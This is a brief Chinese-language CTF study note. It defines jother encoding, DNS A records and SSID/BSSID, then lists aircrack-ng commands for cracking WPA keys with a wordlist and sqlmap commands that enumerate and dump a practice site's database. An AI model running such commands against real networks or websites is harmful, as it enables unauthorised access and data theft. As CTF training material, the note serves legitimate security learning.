ctf web篇

jother 编码，包含  '{'     '}'     '('    ')'    '['    ']'    '!'    '+'

是一种运用于Javascript语言中 利用少量字符构造匿名函数的方法。

A (Address) 记录：    用来指定主机名（或域名）对应的IP地址记录。(DNS)

SSID   ：一个局域网的名称，只有设置为名称相同SSID的值的电脑才能互相通信。(也可以写为ESSID)

BSSID :是一种特殊的Ad-hoc LAN的应用，一个无线网络至少由一个连接到有线网络的AP和若干无线工作站组成

aircrack-ng     用于破解WEP以及WPA-PSK密钥   （也可把加密的数据包解密成可读取的）一般kali自带。  

查看信息 aircrack-ng.exe  shipin.cap(补获的包名)

解密 aircrack-ng.exe shipin.cap -w top800.txt(字典)

       airdecap-ng.exe shipin.cap -e 0719 -p 88888888

sqlmap 工具介绍

注入地址：http://ctf5.shiyanbar.com/8/index.php?id=1

sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1

暴库：sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs

显示某个数据库的表：sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db(数据库) --tables

显示表列：sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db(数据库) -T thiskey(数据表) --columns

下载列信息sqlmap -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db(数据库) -T thiskey -C k0y(列) --dump